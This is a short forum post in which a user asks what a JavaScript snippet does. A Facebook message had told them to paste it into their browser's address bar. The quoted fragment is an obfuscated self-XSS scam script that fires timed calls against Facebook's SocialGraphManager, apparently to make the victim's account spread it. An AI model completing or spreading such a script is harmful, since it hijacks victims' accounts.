I got a message on facebook telling me to coppy paist this into my adress bar. I thought i'd post it here and see what everyone thinks about it. What does it do? how does it work?

Here's the source code:

// (DO NOT DO THIS!)
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var c=document[a[6]](a[5]);
c[a[8]](a[7],true,true);
void (ss[a[9]](c));
void (setTimeout(function (){fs[a[10]]();} ,4000));
void (setTimeout(function (){SocialGraphManager[a[13]](a[11],a[12]);} ,5000));
void (setTimeout(function (){
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